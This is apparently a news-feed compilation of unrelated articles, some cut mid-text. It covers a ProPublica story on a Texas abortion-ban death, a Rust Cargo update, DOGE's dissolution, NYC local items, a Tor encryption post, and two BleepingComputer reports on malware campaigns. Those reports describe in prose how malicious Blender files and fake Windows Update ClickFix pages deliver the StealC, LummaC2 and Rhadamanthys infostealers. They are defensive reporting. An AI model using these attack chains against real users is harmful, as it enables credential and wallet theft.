The next morning, Walker called for a doctor and asked about ending her pregnancy for the sake of her health. “When we get you under control, then everything will go smoothly,” the doctor replied, Latanya recalled. The physician on the floor was not an OB-GYN with the expertise to give a high-risk consultation, but the Walkers didn’t realize that this mattered. By the time the doctor left the room, her aunt said, tears streamed down Walker’s cheeks.
Dr. Elizabeth Langen, a maternal-fetal medicine specialist in Michigan who reviewed Walker’s case, said a physician comfortable with high-risk pregnancies should have counseled her on the dangers of continuing and offered her an abortion. “The safest thing for her was to terminate this pregnancy, that’s for sure.”
During Walker’s many hospital and prenatal visits, 21 OB-GYNs were among the more than 90 physicians involved in her care. None of them counseled her on the option — or the health benefits — of a termination, according to medical records.
In Texas, the law bars “aiding and abetting” an illegal abortion. As a result, many physicians have avoided even mentioning it, according to interviews with dozens of doctors.
In her condition, Walker couldn’t fathom leaving the state. When her aunt suggested ordering abortion medication online, Walker was worried she could go to jail. She was spending so much time in the hospital; what if she got caught taking the pills?
At 12 weeks pregnant, she was admitted to University Hospital. Doctors there noted that even on anticoagulation medication, the clotting in Walker’s leg was so profound that she needed a thrombectomy to remove it.
“At this point, we’ve gone from ‘complicated, but within the realm of normal’ to ‘we’ve got someone with a major procedure in pregnancy that tells us something isn’t going well,’” said Dr. Will Williams, a maternal-fetal medicine specialist in New Orleans, where an abortion ban is also in place. “In my practice, we’d have a frank discussion about whether this is a person we’d offer a termination to at the point of thrombectomy.”
ProPublica reached out to five physicians who were involved in key moments of Walker’s care: the hospitalist on duty on Oct. 14, 2024, when she asked about ending her pregnancy; three OB-GYNs; and a hospitalist on duty at the time of her thrombectomy. They did not respond. The hospitals Walker visited, including those run by University Health System and Methodist Healthcare, which is co-owned by HCA, did not comment on Walker’s care, despite permission from her family. Although the Walkers have not pursued legal action, they have engaged a lawyer. A University Health System spokesperson said that it is the company’s policy not to comment on potential litigation.
In her second trimester, Walker’s seizures continued and her hypertension remained out of control. At an appointment on Dec. 27, at around 20 weeks, a doctor noted spiking blood pressure and sent her to University Hospital’s ER. There, doctors recorded a diagnosis of preeclampsia.
The experts who reviewed Walker’s vital signs for ProPublica said her blood pressure of 174 over 115 was so concerning at that point, she needed to be admitted and monitored. Most questioned her doctor’s choice not to label her condition as severe. The treatment for severe preeclampsia, which points to a problem with the placenta, is delivery — or, at 20 weeks, an abortion.
Instead, doctors lowered her blood pressure with medication and sent her home.
Carson in the bedroom he shared with Walker
Three days later, JJ crawled into bed with his mom and fed her soup. “I’m so sorry,” Walker croaked. “It’s your birthday and it shouldn’t be like this.”
He told his mom it was okay. He hadn’t expected laser tag or a trip to Dave & Buster’s this year. Over the past few months, when his mom was home, he had tried his best to make things easier on her, walking the dogs when she was out of breath, checking in every hour or so with a hug. JJ knew that after missing so many days of work, she had lost her job. She was stressed about getting enough food for the house. He was relieved when he heard her snoring — at least she was resting.
That afternoon, when his stepdad was out grocery shopping and his grandmother was just getting back from dialysis, he cracked open the door to Walker’s room.
His mom was lying face-down in bed, as if she had fallen over while getting up. JJ ran over and tried to find any sign she was breathing. When he called 911, a dispatcher coached him to slide her to the rug and start CPR.
“I need you,” he shouted as he leaned over his mom, pressing down on her chest. “I need you!”
JJ receives prayers at church in San Antonio.
“We Have to Allow for More Exceptions”
The anti-abortion activists who helped shape America’s latest wave of abortion bans have long seen health exemptions as a loophole that would get in the way of their goals. They fear such exceptions, if included in the laws, would
allow virtually anyone to terminate a pregnancy
.
In Idaho, an anti-abortion leader testifying at a state Senate hearing suggested doctors would use health exceptions to give abortions to patients with headaches.
In South Dakota, a pregnant Republican lawmaker with a high risk of blood clots begged her colleagues to consider creating a health exception that would protect her; her bill never made it to a hearing.
In Tennessee, an anti-abortion lobbyist with no medical training fought and defeated an amendment to the state law that would allow a health exception to “prevent” an emergency. He testified in the state Capitol that the carve-out was too broad since some pregnancy complications “work themselves out.”
The refusal to entertain these broader exceptions is particularly consequential given the state of women’s health. Women are entering pregnancy older and sicker than they have in decades. The rate of blood pressure disorders in pregnancy has more than doubled since 1993; they now affect up to 15% of U.S. pregnancies. And they’re most prevalent in states with restrictive abortion policies, according to a 2023
study in the Journal of the American College of Cardiology
. The burden of disease falls heaviest on Black women, like Walker, for an array of reasons: neighborhood disinvestment, poor access to health care and discrimination in the medical system. Cuts to Medicaid funding and changes to the Affordable Care Act are likely to exacerbate these problems, according to experts.
Other countries give pregnant women and their doctors far more control over the medical decision to terminate. Across Europe, for example, most laws permit abortion for any reason through the first trimester, when more than 90% of abortions occur. After that gestational limit, their statutes also tend to include broad health exceptions that can be used for chronic conditions, illnesses that develop in pregnancy, fetal anomalies and, in some countries, mental health.
U.S. abortion bans generally restrict interventions to a far more limited set of health risks, like a “life-threatening medical emergency” or “substantial and irreversible” harm to major organs. A small subset of lawyers and doctors argue that the law can and should be interpreted to cover patients with chronic conditions that are worsening in pregnancy. But the vaguely written bans threaten criminal penalties for performing an illegal abortion — in Texas, up to 99 years behind bars. In practice,
few hospitals grant health exceptions
, ProPublica’s reporting has found.
Dr. Jessica Tarleton, an OB-GYN who provides abortions in South Carolina, recalled how much changed at her hospital when the state’s ban was put in place: OB-GYNs who want to provide an abortion to a patient with a health risk now need to get a maternal-fetal medicine specialist to explicitly write in the chart that it is necessary, in compliance with the law. Not many doctors are willing to do so.
“Some people were not because of their personal beliefs, and some because they didn’t want to be involved in any kind of potential legal actions,” Tarleton said. “They didn’t want their opinion to have anything to do with a patient getting an abortion or not.”
Recently, for example, Cristina Nuñez sued two hospitals in El Paso for their inaction in her care in 2023. She had diabetes, uncontrolled blood pressure and end-stage kidney disease when she learned she was unexpectedly pregnant at 36. Doctors wrote in her medical record that “she needs termination based on threat to maternal life or health,” but Nuñez alleged that one hospital failed to find an anesthesiologist willing to participate. She remained pregnant for weeks, even as blood clots turned her right arm black, until an advocacy organization threatened legal action and she was able to obtain an abortion. The lawsuit is ongoing.
This year, Texas Republicans
passed legislation with minor
amendments to their ban after ProPublica reported the deaths of three miscarrying women who did not receive critical abortion care during emergencies. In the updated law, an emergency still needs to be “life-threatening” to qualify for an abortion, but it no longer needs to be “imminent.” Doctors expect that most hospitals still won’t provide abortions to women like Walker who have dangerous chronic conditions but no certain threat to their lives.
ProPublica asked Sen. Bryan Hughes, the author of Texas’ abortion ban, about how the specific complications Walker faced should be treated by doctors under the amended law. When her pregnancy began, would she be eligible for an abortion due to her health? Would she need to wait for a diagnosis of severe preeclampsia? Is there a reason the law doesn’t include an exception for health risks? ProPublica put the same questions to the 20 state senators who co-wrote the bipartisan amendment.
Only Sen. Carol Alvarado, a Democrat, responded. In her view, the amendment was far too narrow. But, she said, her Republican colleagues defer to the far right of their base and oppose broader exceptions.
“You can’t proclaim to be pro-life, but you’re passing laws that are endangering women and causing death,” she said. “We have to allow for more exceptions.”
Latanya and Pamela in San Antonio
“So You’d Rather Let Somebody Die?”
After Walker died, her family felt bewildered by her medical care. The doctors had assured them that her baby was healthy and she would be fine. The autopsy found that the fetus was indeed healthy, at just under a pound and measuring 9 inches long. But it showed that Walker had hypertensive cardiovascular disease with preeclampsia, along with an enlarged heart, dangerously full of fluid, and kidney damage — signs that her condition had declined even more than she knew.
In Carson’s mind, the many doctors they saw cast the risks as challenges that would be overcome if his wife followed directions. “She was doing what they told her to do,” he said. He couldn’t understand how no one suggested ending the pregnancy to keep Walker safe. “Nobody said nothing.”
Latanya worried the law played a role. “They didn’t want to offer to end the pregnancy, because the government or someone says you can’t? So you’d rather let somebody die?” she said. “Now we are the ones that have to suffer.”
JJ couldn’t bear to stay in the home where he had found his mom, so he moved in with Latanya. Each day, he scrolls through old videos on the computer so he can hear Walker’s voice.
Latanya does everything she can to support him, but she knows she can’t erase his pain.
She recalls watching JJ steady himself at Walker’s funeral, to see her one last time. Until that point, he hadn’t cried.
When he finally faced the open casket where his mom lay holding her fetus, JJ sank to his knees, overcome. His aunt, uncles, cousins and grandmother gathered around him and rocked him in their arms.
Kavitha Surana has been reporting on changes to reproductive health care access since Roe v. Wade was overturned.
Lizzie Presser is a journalist covering health and social policy.
Cargo can't be everything to everyone,
if for no other reason than the compatibility guarantees it must uphold.
Plugins play an important part of the Cargo ecosystem and we want to celebrate them.
Our plugin for this cycle is
cargo-wizard
which can optimize your project for build times, runtime performance, or binary size.
On
Zulip
,
Kobzol
floated the idea of a build performance guide being added to the
Cargo book
.
The first thing we needed to work out was how to handle having small reviewable chunks while having enough content to justify the document.
We decided to hold off on merging anything until the start of this development cycle.
The guide was introduced in
#15970
.
Ideally, this guide wouldn't be needed.
In some cases,
there are steps we can take to obsolete a section,
like providing a meaningful unused dependency warning
(
#15813
)
rather than suggesting tools that try to guess what dependencies are unused.
In some cases,
builds are slower by default as we try to balance several competing needs.
However, even in those cases, we can evaluate whether we have the right balance or if there is another way to meet multiple needs
(e.g.
#15931
).
We decided to link out to this content to help raise awareness of these efforts to track them or participate.
Going forward, we are going to need to figure out how to balance what optimizations to include and how to talk about them.
How do we vet that an optimization is actually beneficial?
How much of an improvement is worth mentioning?
How niche or tricky of an optimization is worth including?
We dealt a little bit with this when adding documentation about linkers (
#15991
) because some platforms already have fast linkers and making linking slightly faster than that is very different than switching from a slow linker to a faster one.
We're tracking further progress on this effort at
#16119
.
epage
posted the
stabilization report
for the Rust frontmatter syntax,
the first step towards stabilizing Cargo script.
Cargo's frontmatter parser was also updated to better match rustc's whitespace handling
(
#15975
)
and error messages (
#15952
,
#15972
).
build-dir
(
docs
),
which split out of
target-dir
in Cargo 1.91,
was modeled off of Cargo script but implemented independently.
In
#16073
,
Cargo script switched to using
build-dir = "{cargo-cache-home}/build/{workspace-path-hash}"
which is proposed to be the new
build-dir
default eventually
(
#16147
).
However, this did lead to issues with
memfd
(
#16110
)
which still needs discussion.
To match the semantics of
build-dir
being for internals,
Cargo script's
Cargo.lock
was moved into
build-dir
(
#16087
).
In preparing to stabilize Cargo script,
the Cargo team talked through some of the open questions.
In
#12870
,
novafacing
requested a way to get the script's original path.
CARGO_MANIFEST_PATH
was previously added but didn't meet everyone's needs.
Nemo157
pointed out that ideally CLI parsers report the script, not the binary, in usage examples.
There isn't really a way for libraries like
clap
to detect and workaround this,
requiring hacks on the user end.
They suggested Cargo override
arg[0]
which is what CLI parsers use for usage examples.
When we discussed this as a team, we were interested in people being able to get both pieces of information, the binary and the source.
We were also concerned about platform support for setting
arg[0]
and
current_exe
.
Granted, shebang support is also not supported on every platform.
Python and Ruby report
arg[0]
as the script but they have more control over the behavior.
In the end, we decided on setting
arg[0]
where possible, on a best-effort basis.
We will leave
current_exe
untouched to serve as the way to access the binary path.
We would be open to people contributing support for more platforms,
likely through contributing it to
std
.
Setting of
arg[0]
was implemented in
#16027
.
Cargo scripts do not support every manifest field,
especially for the initial release.
A long standing open question has been whether the manifest fields
should be validated with an allowlist or a denylist.
The concern is if a new field gets added,
should we err on the side of it being supported or not?
Forgetting to update the Cargo script allowlist on the release of a new feature is a poor experience.
On the other hand, forgetting to update the denylist could mean we commit to a feature that we shouldn't support.
The ideal solution is to rely on the type system to ensure we exhausitvely the manifest fields.
If that isn't possible, we erred on the side of an allowlist.
Thankfully, the implementation had already been updated to make it easy to rely on the type system for this.
The validation logic was changed in
#16026
.
A cargo script's file name gets turned into a
package.name
but not every script name is a valid
package.name
.
So far, Cargo has sanitized the file name into being a valid
package.name
.
But valid according to whom?
General Cargo commands,
cargo new
,
or crates.io?
So far, the
cargo new
rules had been implemented.
This is important to decide upfront because the sanitization results are visible through the binary's name,
cargo metadata
, and
--message-format json
.
As we stepped through each
cargo new
rule,
we found they were becoming less relevant through other efforts in Cargo, changes in Windows, etc.
We decided to do the bare minimum sanitization needed for general Cargo commands.
During the implementation of
#16120
,
epage
felt it was too premature to freely allow names that would collide with directory names from
build-dir
being overlaid with
target-dir
.
Users can now move
build-dir
out in Rust 1.91
(
#15833
).
Changing this to be the default in Cargo is still under discussion
(
#16147
)
and users could still move it back.
Instead of sanitizing to avoid conflicts with
build-dir
content,
epage let this fall back to existing validation rules that will error for now.
While this feature is largely blocked on the lint within rustc,
this was further refined in Cargo.
jneem
experimented with Cargo rewriting the lint to provide Cargo-specific context in
#16002
.
sadmac7000
changed
cargo add
s version auto-selection to evaluate public dependencies in case the user intends to use them together
(
#15966
).
JohnScience
proposed
cargo tree --edges no-external
as a way to see only local packages
(
#16043
).
We have this today in
--depth workspace
though maybe we could improve parts of our documentation about this.
However, this got us to re-evaluate
--depth public
which walks through all public public dependencies and no further
(inspired by
--depth workspace
).
Would this be better served as
--edges public
?
The flag was originally added to help in analysing the lints current behavior
(
rust#119428
).
Most
--edges
opt-in specific edge types,
while this would instead be applying a filter across edge types.
The only other exception is
no-proc-macros
.
We decided that we were comfortable adding more edge filters and decided to change this (
#16081
).
Cargo's caches have traditionally been organized around the role they fulfil
with
.fingerprint/
housing the state for rebuild-detection for all packages
while
deps/
stores the build artifacts.
This makes calling rustc easy, just pass it
deps/
and it will figure out what files need to be loaded.
By mixing intermediate artifacts together like this,
if we were to GC the content, we'd need to track individual files for a build unit (
#5026
)
it is difficult to coordinate more granular locks (
#4282
)
it is more difficult to cache build unit artifacts across projects (
#5931
).
requires Cargo to make the file names unique (except on Windows) (
#8332
)
leads to bugs where project binaries can shadow system or Rust toolchain binaries on Windows because we have to put
deps/
in
PATH
for linking (
#7919
)
The layout for intermediate build artifacts is an implementation detail which we can change.
#15010
proposes changing the layout to be centered on the build unit the files belong to,
rather than the role of the files.
We have a single folder to track for GC, locking, and caching.
A unique hash will be kept in the parent directory's name,
allowing us to reduce collisions of files and shadowing of binaries on Windows.
This new layout was implemented in
#15947
.
There is a catch: many tools in the ecosystem depend on the layout.
The reason
ranger-ross
added support for the new
build-dir
was to serve as an easy for projects to test if they rely on internals of Cargo.
We can punt on finding alternative solutions to these projects,
but that means each time we change the layout of the
build-dir
,
there is an ecosystem cost.
Turns out, we might want to change it multiple times.
The
build-dir
is subdivided by
<profile>/<platform>/
but that is mostly beneficial for locking purposes.
If we had a new locking scheme
(
#4282
),
we could reduce path lengths on Windows
and allow intermediate artifact reuse between profiles and even platforms (e.g. build script builds).
As I said earlier, the locking scheme is also blocked on the new layout.
We either have to implement and stabilize them together or have two transitions.
It doesn't stop there.
A new locking scheme may be benefited by us moving away from mutable intermediate artifacts
which could balloon disk usage as each build for each edit of your source would have a distinct artifact.
This would be benefitted by aggressive GC of the intermediate artifacts
which is also blocked on the new layout.
As a team, we discussed this tricky path towards stabilization of the new layout.
After talking through the interaction between these different features,
we leaned towards doing one layout change without blocking on any other work and evaluating how that goes to see how we should handle further layout changes.
It would be great if
crater
could identify projects impacted by changing the layout.
It may not help us when it is a build process extracting
build.rs
generated artifacts or when running the tool being built.
There may be some
-sys
crate situations it might identify.
Later,
ehuss
posted on
Zulip
some preliminary investigations into what projects might be doing relying on the
build-dir
layout.
In addition to this type of inspection,
we could change the layout on nightly-only to help identify impacted projects.
We are using
build-dir
as an opt-in for people to evaluate both changing it itself and as a smoke test for a new layout.
Even once we change the
build-dir
location
(
#16147
),
users will be able to opt-out.
Should we do similar for the new layout itself?
If we made the flag a proper
config
,
this would give the
build-dir
layout more of a semblance of stability than is meant.
This is also a maintenance burden.
Supporting the two layouts already complicates things and has limited our changes to the new layout.
Supporting the old layout for any period of time will likely require all features built on top of it to be conditioned on it until we are able to drop the old layout.
A temporary environment variable to toggle the behavior may work.
At this point,
it is on
epage
and
ranger-ross
to come up with a concrete transition plan.
Document prior art from other ecosystems so we can build on the work others have done and make something familiar to users, where it makes sense
Document related problems and solutions within Cargo so we see if we are solving to the right layer of abstraction
Building on those posts, propose a solution that takes into account the above information and cargo's compatibility requirements (
example
)
We are available to help mentor people for
S-accepted issues
on
Zulip
and you can talk to us in real-time during
Contributor Office Hours
.
If you are looking to help with one of the bigger projects mentioned here and are just starting out,
fixing some issues
will help familiarize yourself with the process and expectations,
making things go more smoothly.
If you'd like to tackle something
without a mentor
,
the expectations will be higher on what you'll need to do on your own.
DoGE "cut muscle, not fat"; 26K experts rehired after brutal cuts
Government brain drain will haunt US after DOGE abruptly terminated.
Billionaire Elon Musk, the head of the Department of Government Efficiency (DOGE), holds a chainsaw as he speaks at the annual Conservative Political Action Conference.
Credit:
SAUL LOEB / Contributor | AFP
After Donald Trump curiously started referring to the Department of Government Efficiency exclusively in the past tense, an official finally confirmed Sunday that DOGE “doesn’t exist.”
Talking to Reuters
, Office of Personnel Management (OPM) Director Scott Kupor confirmed that DOGE—a government agency notoriously created by Elon Musk to rapidly and dramatically slash government agencies—was terminated more than eight months early. This may have come as a surprise to whoever runs the
DOGE account
on X, which continued posting up until two days before the Reuters report was published.
As Kupor explained, a “centralized agency” was no longer necessary, since OPM had “taken over many of DOGE’s functions” after Musk left the agency last May. Around that time, DOGE staffers were embedded at various agencies, where they could ostensibly better coordinate with leadership on proposed cuts to staffing and funding.
Under Musk, DOGE was hyped as planning to save the government a trillion dollars. On X, Musk bragged frequently about the agency, posting in February that DOGE was “the one shot the American people have to defeat BUREAUcracy, rule of the bureaucrats, and restore DEMOcracy, rule of the people. We’re never going to get another chance like this.”
The reality fell far short of Musk’s goals, with DOGE ultimately
reporting
it saved $214 billion—an amount that may be overstated by nearly 40 percent,
critics warned earlier this year
.
Because DOGE operated largely in secrecy, it may be months or even years before the public can assess the true cost of DOGE’s impact. However, in the absence of a government tracker, the director of the Center for Effective Public Management at the Brookings Institution, Elaine Kamarck, put together what might be the best status report showing how badly DOGE rocked government agencies.
In June, Kamarck joined
other critics flagging DOGE’s reported savings as “bogus.”
In the days before DOGE’s abrupt ending was announced, she published a
report
grappling with a critical question many have pondered since DOGE launched: “How many people can the federal government lose before it crashes?”
In the report, Kamarck charted “26,511 occasions where the Trump administration abruptly fired people and then hired them back.” She concluded that “a quick review of the reversals makes clear that the negative stereotype of the ‘paper-pushing bureaucrat'” that DOGE was supposedly targeting “is largely inaccurate.”
Instead, many of the positions the government rehired were “engineers, doctors, and other professionals whose work is critical to national security and public health,” Kamarck reported.
About half of the rehires, Kamarck estimated, “appear to have been mandated by the courts.” However, in about a quarter of cases, the government moved to rehire staffers before the court could weigh in, Kamarck reported. That seemed to be “a tacit admission that the blanket firings that took place during the DOGE era placed the federal government in danger of not being able to accomplish some of its most important missions,” she said.
Perhaps the biggest downside of all of DOGE’s hasty downsizing, though, is a trend in which many long-time government workers simply decided to leave or retire, rather than wait for DOGE to eliminate their roles.
During the first six months of Trump’s term, 154,000 federal employees signed up for the deferred resignation program, Reuters
reported
, while more than 70,000 retired. Both numbers were clear increases (tens of thousands) over exits from government in prior years, Kamarck’s report noted.
“A lot of people said, ‘the hell with this’ and left,” Kamarck told Ars.
Kamarck told Ars that her report makes it obvious that DOGE “cut muscle, not fat,” because “they didn’t really know what they were doing.”
As a result, agencies are now scrambling to assess the damage and rehire lost talent. However, her report documented that agencies aligned with Trump’s policies appear to have an easier time getting new hires approved, despite Kupor telling Reuters that the government-wide hiring freeze is “over.” As of mid-November 2025, “of the over 73,000 posted jobs, a candidate was selected for only about 14,400 of them,” Kamarck reported, noting that it was impossible to confirm how many selected candidates have officially started working.
“Agencies are having to do a lot of reassessments in terms of what happened,” Kamarck told Ars, concluding that DOGE “was basically a disaster.”
A decentralized DOGE may be more powerful
“DOGE is not dead,” though, Kamarck said, noting that “the cutting effort is definitely” continuing under the Office of Management and Budget, which “has a lot more power than DOGE ever had.”
However, the termination of DOGE does mean that “the way it operated is dead,” and that will likely come as a relief to government workers who expected DOGE to continue slashing agencies through July 2026 at least, if not beyond.
Many government workers are still fighting terminations, as court cases drag on, and even Kamarck has given up on tracking due to inconsistencies in outcomes.
“It’s still like one day the court says, ‘No, you can’t do that,'” Kamarck explained. “Then the next day another court says, ‘Yes, you can.'” Other times, the courts “change their minds,” or the Trump administration just doesn’t “listen to the courts, which is fairly terrifying,” Kamarck said.
Americans likely won’t get a clear picture of DOGE’s impact until power shifts in Washington. That could mean waiting for the next presidential election, or possibly if Democrats win a majority in midterm elections, DOGE investigations could start as early as 2027, Kamarck suggested.
OMB will likely continue with cuts that Americans appear to want, as White House spokesperson Liz Huston told Reuters that “President Trump was given a clear mandate to reduce waste, fraud and abuse across the federal government, and he continues to actively deliver on that commitment.”
However, Kamarck’s report noted polls showing that most Americans disapprove of how Trump is
managing government
and
its workforce
, perhaps indicating that OMB will be pressured to slow down and avoid roiling public opinion ahead of the midterms.
“The fact that ordinary Americans have come to question the downsizing is, most likely, the result of its rapid unfolding, with large cuts done quickly regardless of their impact on the government’s functioning,” Kamarck suggested. Even Musk began to question DOGE. After Trump announced plans to appeal an electrical vehicle mandate that the Tesla founder relied on, Musk posted
on X
, “What the heck was the point of DOGE, if he’s just going to increase the debt by $5 trillion??”
Facing “blowback” over the most unpopular cuts, agencies sometimes rehired cut staffers within 24 hours, Kamarck noted, pointing to the Department of Energy as one of the “most dramatic” earliest examples. In that case, Americans were alarmed to see engineers cut who were responsible for keeping the nation’s nuclear arsenal “safe and ready.” Retention for those posts was already a challenge due to “high demand in the private sector,” and the number of engineers was considered “too low” ahead of DOGE’s cuts. Everyone was reinstated within a day, Kamarck reported.
Alarm bells rang across the federal government, and it wasn’t just about doctors and engineers being cut or entire agencies being dismantled, like USAID. Even staffers DOGE viewed as having seemingly less critical duties—like travel bookers and customer service reps—were proven key to government functioning. Arbitrary cuts risked hurting Americans in myriad ways, hitting their pocketbooks, throttling community services, and limiting disease and disaster responses, Kamarck documented.
Now that the hiring freeze is lifted and OMB will be managing DOGE-like cuts moving forward, Kamarck suggested that Trump will face ongoing scrutiny over Musk’s controversial agency, despite its dissolution.
“In order to prove that the downsizing was worth the pain, the Trump administration will have to show that the government is still operating effectively,” Kamarck wrote. “But much could go wrong,” she reported, spouting a list of nightmare scenarios:
“Nuclear mismanagement or airline accidents would be catastrophic. Late disaster warnings from agencies monitoring weather patterns, such as the National Oceanic and Atmospheric Administration (NOAA), and inadequate responses from bodies such as the Federal Emergency Management Administration (FEMA), could put people in danger. Inadequate staffing at the FBI could result in counter-terrorism failures. Reductions in vaccine uptake could lead to the resurgence of diseases such as polio and measles. Inadequate funding and staffing for research could cause scientists to move their talents abroad. Social Security databases could be compromised, throwing millions into chaos as they seek to prove their earnings records, and persistent customer service problems will reverberate through the senior and disability communities.”
The good news is that federal agencies recovering from DOGE cuts are “aware of the time bombs and trying to fix them,” Kamarck told Ars. But with so much brain drain from DOGE’s first six months ripping so many agencies apart at their seams, the government may struggle to provide key services until lost talent can be effectively replaced, she said.
“I don’t know how quickly they can put Humpty Dumpty back together again,” Kamarck said.
Ashley is a senior policy reporter for Ars Technica, dedicated to tracking social impacts of emerging policies and new technologies. She is a Chicago-based journalist with 20 years of experience.
Malicious Blender model files deliver StealC infostealing malware
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 22:00:45
A Russian-linked campaign delivers the StealC V2 information stealer malware through malicious Blender files uploaded to 3D model marketplaces like CGTrader. [...]...
A Russian-linked campaign delivers the StealC V2 information stealer malware through malicious Blender files uploaded to 3D model marketplaces like CGTrader.
Blender is a powerful open-source 3D creation suite that can execute Python scripts for automation, custom user interface panels, add-ons, rendering processes, rigging tools, and pipeline integration.
If the Auto Run feature is enabled, when a user opens a character rig, a Python script can automatically load the facial controls and custom UI panels with the required buttons and sliders.
Despite the potential for abuse, users often activate the Auto Run option for convenience.
Researchers at cybersecurity company Morphisec observed attacks using malicious .blend files with embedded Python code that fetches a malware loader from a Cloudflare Workers domain.
Malicious Blender files
Source: Morphisec
The loader then fetches a PowerShell script that retrieves two ZIP archives, ZalypaGyliveraV1 and BLENDERX, from attacker-controlled IPs.
The archives unpack into the %TEMP% folder and drop LNK files in the Startup directory for persistence. Next, they deploy two payloads, the StealC infostealer and an auxiliary Python stealer, likely used for redundancy.
Overview of the attack chain
Source: Morphisec
Morphisec researchers report that the StealC malware used in this campaign was the latest variant of the second major version of the malware that was
analyzed by Zscaler
researchers earlier this year.
The latest StealC has expanded its data-stealing capabilities and supports exfiltration from:
23+ browsers, with server-side credential decryption and compatibility with Chrome 132+
100+ cryptocurrency wallet browser extensions and 15+ cryptocurrency wallet apps
Telegram, Discord, Tox, Pidgin, VPN clients (ProtonVPN, OpenVPN), and mail clients (Thunderbird)
Updated UAC bypass mechanism
Despite the malware being
documented since 2023
, subsequent releases appear to remain elusive for anti-virus products. Morphisec comments that no security engine on VirusTotal detected the StealC variant they analyzed.
Given that 3D model marketplaces cannot scrutinize the code in user-submitted files, Blender users are advised to exercise caution when using files sourced from such platforms and should consider disabling the auto-execution of code.
You can do this from Blender > Edit > Preferences > uncheck the 'Auto Run Python Scripts' option.
3D assets should be treated like executable files, and users should only trust publishers with a proven record. For everything else, it is recommended to use sandboxed environments for testing.
As restaurants tear down their outdoor dining structures for the winter, the City Council took up legislation that could make this the last year businesses are forced to carry out the costly ritual.
At a joint hearing of the City Council's Transportation and Worker and Consumer Protection Committees on Monday, lawmakers considered
bills
introduced
by Councilmember Lincoln Restler that would once again
allow roadway dining year-round
, ending the prohibition from December through March that took effect last year.
"In just five days, roadway dining structures across the city of New York will disappear. Instead of New Yorkers safely enjoying a bite to eat outside, we will have thousands of parked cars, SUVs, trucks lining our streets," Restler said, referring to the November 29 deadline for restaurants to pack in their outdoor setups. "Who knows how many restaurants will manage to come back in April after the costly disassembly and storage fees this season." He added, "The new iteration of this program is failing our city."
Since this summer, dozens of volunteers, including New York City Comptroller Brad Lander, have been sitting in on immigration court hearings in Lower Manhattan, bearing witness to ICE's kidnappings of immigrant New Yorkers. In addition to documenting the proceedings inside and outside of courtrooms, these courtwatchers aim to peacefully prevent ICE agents from detaining New Yorkers and separating families, by accompanying them out of courtrooms and courthouses.
Last week, it was revealed through a FOIA request
that both the FBI and the NYPD have been spying on at least one Signal chat
of immigrant rights activists who monitor immigration courts in Lower Manhattan. This collaboration has raised questions about the NYPD's coordination with federal immigration enforcement, as well as (once again) brought the NYPD's long history of often-illegal infiltration of political groups to the forefront.
On Monday afternoon, Mayor-elect Zohran Mamdani told Hell Gate that this type of spying and infiltration into courtwatch groups would not be acceptable under his administration.
ClickFix attack uses fake Windows Update screen to push malware
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 20:42:35
New ClickFix attack variants have been observed where threat actors trick users with a realistic-looking Windows Update animation in a full-screen browser page and hide the malicious code inside images. [...]...
ClickFix attack variants have been observed where threat actors trick users with a realistic-looking Windows Update animation in a full-screen browser page and hide the malicious code inside images.
ClickFix is a social-engineering attack where users are convinced to paste and execute in Windows Command Prompt code or commands that lead to running malware on the system.
The attack has been widely adopted by cybercriminals across all tiers due to its high effectiveness and has continually evolved, with
increasingly
advanced and deceptive lures.
Fullscreen browser page
Since October 1st, researchers have observed ClickFix attacks where the pretense for executing dangerous commands was completing the installation of a critical Windows security update and the more common "human verification" lure [
1
,
2
].
The fake update page instructs victims to press specific keys in a certain sequence, which pastes and executes commands from the attacker that were automatically copied to the clipboard via JavaScript running on the site.
Fake Windows security update screen
Source: BleepingComputer
A report from managed security services provider Huntress notes that the new ClickFix variants drop the LummaC2 and Rhadamanthys information stealers.
In one variant, the hackers use a human verification page, while in another they rely on the fake Windows Update screen.
In both cases, though, the threat actors used steganography to encode the final malware payload inside an image.
"Rather than simply appending malicious data to a file, the malicious code is encoded directly within the pixel data of PNG images, relying on specific colour channels to reconstruct and decrypt the payload in memory," Huntress
researchers explain
.
Delivering the final payload starts with using the
mshta
Windows-native binary to execute malicious JavaScript code.
The entire process involves multiple stages that use PowerShell code and a .NET assembly (the Stego Loader) responsible for reconstructing the final payload embedded inside a PNG file in an encrypted state.
Inside Stego Loader’s manifest resources, there is an AES-encrypted blob that is actually a steganographic PNG file containing shellcode that is reconstructed using custom C# code.
Huntress researchers noticed that the threat actor used a dynamic evasion tactic, commonly referred to as ctrampoline, where the entry point function started calling 10,000 empty functions.
Trampoline call chain
Source: Huntress
The shellcode holding the infostealer samples is extracted from the encrypted image and is packed using the Donut tool that allows executing VBScript, JScript, EXE, DLL files, and .NET assemblies in memory.
After unpacking, Huntress researchers were able to retrieve the malware, which in the analyzed attacks was LummaC2 and Rhadamanthys.
The diagram below serves as a visual representation of how the entire attack works:
Overview of the attack
Source: Huntress
The Rhadamanthys variant that used the Windows Update lure was
first spotted
by researchers back in October, before Operation Endgame took down parts of its infrastructure
on November 13
.
Huntress reports that the law enforcement operation resulted in the payload not being delivered anymore on the fake Windows Update domains, which are still active.
To stay safe from this type of ClickFix attacks, the researchers recommend disabling the Windows Run box and monitoring for suspicious process chains such as
explorer.exe
spawning
mshta.exe
or PowerShell.
Additionally, when investigating a cybersecurity incident, analysts can check the RunMRU registry key to see if the user entered commands in the Windows Run box.
As MCP (Model Context Protocol) becomes the standard for connecting LLMs to tools and data, security teams are moving fast to keep these new services safe.
This free cheat sheet outlines 7 best practices you can start using today.
Counter Galois Onion: Improved encryption for Tor circuit traffic
It's always a good day when we can talk about cryptography.
Especially when we are sunsetting one of the oldest and most important
encryption algorithms in Tor
and replacing it with a research-backed new design,
called Counter Galois Onion.
This overhaul will defend users against a broader class of online attackers
(described below), and form the basis for more encryption work in the future.
Which cryptography are we talking about here?
The algorithm in question is Tor's
relay encryption
.
While Tor uses the standard TLS protocol
for communication between relays,
and between clients and relays,
it needs a specialized algorithm for encrypting user data as it traverses
multiple relays in a circuit.
1
That's the relay encryption algorithm.
The client shares a symmetric key with each relay on its circuit,
and encrypts an outgoing message, or "relay cell" with each one of those keys.
Each relay can remove a single layer of encryption,
until the client's cell reaches the exit relay.
Of course, we need to make sure that the data isn't modified
on the way from the client.
For that, we include a cryptographic digest in the cell.
The digest covers not only the cell itself,
but also
all previous cells sent through the circuit
(to prevent re-ordering)
and another secret shared key
(to make the digest unpredictable).
So with the digest added, clients behave as follows:
they calculate and set the digest,
then they use a stream cipher
